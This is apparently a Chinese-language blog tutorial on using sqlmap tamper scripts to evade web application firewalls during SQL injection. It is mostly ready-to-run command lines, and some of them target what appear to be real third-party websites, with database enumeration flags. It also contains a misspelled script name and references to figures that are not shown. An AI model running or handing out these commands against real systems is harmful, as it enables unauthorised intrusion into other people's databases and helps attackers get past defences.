WAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它,许多公司甚至已经不在意web应用的漏洞。遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs。 svn下载最新版本的sqlmap svn checkout https://svn.sqlmap.org/sqlmap/trunk
### 常用的SQLMAP的几个WAF绕过方法
1.WAF/IPS/IDS identified as ‘ASP.NET RequestValidationMode (Microsoft)’
sqlmap -u "http://member.niceloo.com/Project/ClassSearch.aspx?KeyWord=消防" --hpp -v 3 --tamper "charunicodeencode.py,charencode.py" --thread 10 --dbs
2.WAF/IPS/IDS identified as ‘Generic (Unknown)’
sqlmap -u "http://66123123.com/Goods/GoodsSearch?keyword=复印纸" --hpp -v 3 --tamper "charunicodeencode.py,charencode.py,space2comment.py" --random-agent --flush-session --hex --dbs --thread 10
3.pace2morehash.py会帮助到你来“打乱”方法函数以绕过WAF的检测。
sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms "MySQL" --technique U -p id --batch --tamper "pace2morehash.py"
由上图我们可以看到,请求中的空格被替换为URL编码后的%23randomText%0A 而CHAR(), USER(),CONCAT() 这种函数被替换为FUNCTION%23randomText%0A()
4.两个空格替换脚本:space2mssqlblank.py and space2mysqlblank.py,如下图
5.charencode.py andchardoubleencode.py是两个用来打乱编码的tamper脚本,他们在绕过不同的关键词过滤时很有作用。
6.如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。
以上列举了一部分有代表性的tamper脚本来帮助我们绕过waf,每个脚本都有自己的使用场景,还是需要灵活使用。
7.绕过某IIS下ASP+Mysql站点使用过的sqlmap的tamper
sqlmap.py -r 1.txt -p productid --level 5 --risk 3 --hpp -v 3 --tamper charunicodeencode.py,percentage.py --flush-session --hex --dbs